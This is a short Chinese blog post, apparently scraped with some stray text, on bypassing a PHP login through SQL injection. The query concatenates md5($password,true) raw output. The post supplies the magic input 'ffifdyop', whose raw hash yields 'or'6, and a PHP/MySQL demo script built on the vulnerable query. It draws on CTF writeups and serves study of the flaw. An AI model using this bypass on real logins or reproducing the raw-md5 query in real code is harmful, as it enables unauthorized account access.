1. 程式人生 > >1022.MD5加密後的SQL 註入

1022.MD5加密後的SQL 註入

ould load hose 數據 usr dump div repo 比較

今天看到$sql = "SELECT * FROM admin WHERE pass = ‘".md5($password,true)."‘";這樣一個sql,其實可以註入。

思路比較明確,當md5後的hex轉換成字符串後,如果包含‘or‘<trash>這樣的字符串,那整個sql變成

SELECT * FROM admin WHERE pass = ‘‘or‘6<trash>‘

很明顯可以註入了。

難點就在如何尋找這樣的字符串,我只是順手牽羊,牽了一個。。
提供一個字符串:ffifdyop
md5後,276f722736c95d99e921722cf9ed621c
再轉成字符串:‘or‘6<trash>

測試代碼:

<?php 
    
error_reporting(0);

$link = mysql_connect(‘localhost‘, ‘root‘, ‘‘);
if (!$link) { 
    die(‘Could not connect to MySQL: ‘ . mysql_error()); 
} 

// 選擇數據庫
$db = mysql_select_db("test", $link);
if(!$db)
{
    echo ‘select db error‘;
    exit();
}

// 執行sql
$password = "ffifdyop";
$sql = "SELECT * FROM admin WHERE pass = ‘"
.md5($password,true)."‘"; var_dump($sql); $result=mysql_query($sql) or die(‘<pre>‘ . mysql_error() . ‘</pre>‘ ); $row1 = mysql_fetch_row($result); var_dump($row1); mysql_close($link); ?>

效果:
技術分享圖片

參考:
http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/
http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes

1022.MD5加密後的SQL 註入